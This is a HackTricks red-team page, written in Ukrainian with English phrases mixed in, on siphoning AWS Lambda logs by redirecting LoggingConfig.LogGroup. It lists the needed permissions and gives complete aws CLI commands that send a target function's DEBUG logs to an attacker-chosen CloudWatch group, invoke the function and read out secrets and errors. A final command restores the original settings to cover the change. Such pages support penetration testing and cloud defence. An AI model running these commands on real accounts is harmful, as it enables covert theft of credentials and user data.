AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Зловживайте можливостями розширених налаштувань логування через lambda:UpdateFunctionConfiguration, щоб перенаправити логи функції в обрану атакуючим групу CloudWatch Logs. Це працює без зміни коду або ролі виконання (більшість Lambda-ролей уже включають logs:CreateLogGroup/CreateLogStream/PutLogEvents через AWSLambdaBasicExecutionRole). Якщо функція виводить секрети/тіла запитів або падає зі стек-трейсами, ви зможете зібрати їх з нової групи журналів.

Необхідні дозволи

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (або покладайтесь на існуючі тригери)
  • logs:CreateLogGroup (часто не потрібен, якщо роль функції вже має цей дозвіл)
  • logs:FilterLogEvents (для читання подій)

Кроки

  1. Створіть цільову групу журналів
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Перенаправити логи цільової функції
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Зачекайте, поки LastUpdateStatus стане Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Викликати та зчитати з sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Вплив

  • Непомітно перенаправити всі application/system logs до log group, який ви контролюєте, bypassing очікувань, що logs потрапляють лише в /aws/lambda/<fn>.
  • Exfiltrate чутливі дані, виведені function або виявлені в errors.

Очищення

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Примітки

  • Елементи керування логуванням є частиною LoggingConfig у Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • За замовчуванням Lambda надсилає логи в /aws/lambda/<function>, але ви можете вказати будь-яку назву LogGroup; Lambda (або execution role) створить її, якщо це дозволено.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks